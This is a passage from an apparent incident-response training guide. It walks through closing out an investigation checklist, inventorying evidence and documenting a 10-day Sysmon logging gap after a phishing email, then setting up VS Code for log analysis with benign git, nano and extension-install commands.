| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |

---

## Definition of Done

This investigation is complete when:

- [ ] All three PIRs answered or formally deferred with documented reasoning
- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)
- [ ] ATT&CK mapping completed and reviewed — all confirmed techniques have a gap type
- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap
- [ ] SOC handoff document delivered to Ran Katz and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)
- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)
- [ ] project.yml status set to `closed` and all PIR statuses updated

2. Save the file and commit

git add 00-scope/scope.md
git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"

The firewall log retention deadline drives everything. SERVER-RD-02’s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.

Step R1: Evidence Inventory — What Exists and What Is Missing

The evidence inventory runs before analysis. The rule: you do not analyze what you have not inventoried.

1. Open the source registry

nano 02-sources/source-registry.md

The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.

2. Fill in what you have

For each log source, fill four fields: Source name, System(s) it covers, Admiralty reliability rating, and any known gap. Where a source is absent from a system that should have it, add a row with — absent in the Gap column. That absence is a finding.

For LifeTech, the completed source registry drives this inventory:

GAP-001 — WS-IT-LEVI Sysmon: October 22 — November 1, 2024

Duration: 10 days
Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with
  the day the IT admin received a phishing email.
What is missing: process creation (EID 1), network connections (EID 3),
  file creation (EID 11) for this host during this entire window.
Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI
  between Oct 22 and Nov 1. All claims about this period are INFERRED
  or HYPOTHESIZED unless supported by alternative sources (VPN logs,
  DC authentication logs, firewall flows).
Possible cause: Deliberate anti-forensic technique — terminating Sysmon
  service is a known evasion method.

The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.

3. Create a GAP document for every gap

Each gap gets its own file. Create it now:

nano 01-evidence/GAP-001-ws-it-levi-sysmon.md

Paste the filled template:

# GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01
Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)
Root cause: Sysmon forwarder stopped. Coincides exactly with delivery
  of phishing email to p.levi at 11:23 UTC.
What is missing: EID 1 (process creation), EID 3 (network connections),
  EID 11 (file creation) for WS-IT-LEVI during this entire window.
Impact: Cannot confirm or rule out attacker activity during this period.
  All claims covering Oct 22–Nov 1 on this host are INFERRED or
  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or
  firewall flows.
Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair
  Defenses). A gap coinciding with a malicious delivery is itself a
  finding, not merely an absence.

4. Commit the evidence inventory

git add 01-evidence/ 02-sources/source-registry.md
git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"

Step R1.5: Hands-On Evidence Analysis — VS Code Investigation

The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.

Setup — Open the Evidence Folder

# One command opens the entire evidence directory as a workspace
code ~/investigations/lifetech-2024-11/01-evidence/

VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click away.

Install four extensions before starting (Ctrl+Shift+X, search by ID):

Or install all at once from the integrated terminal (Ctrl+`` ):

code --install-extension mechatroner.rainbow-csv
code --install-extension humao.rest-client
code --install-extension ms-vscode.hexeditor
code --install-extension esbenp.prettier-vscode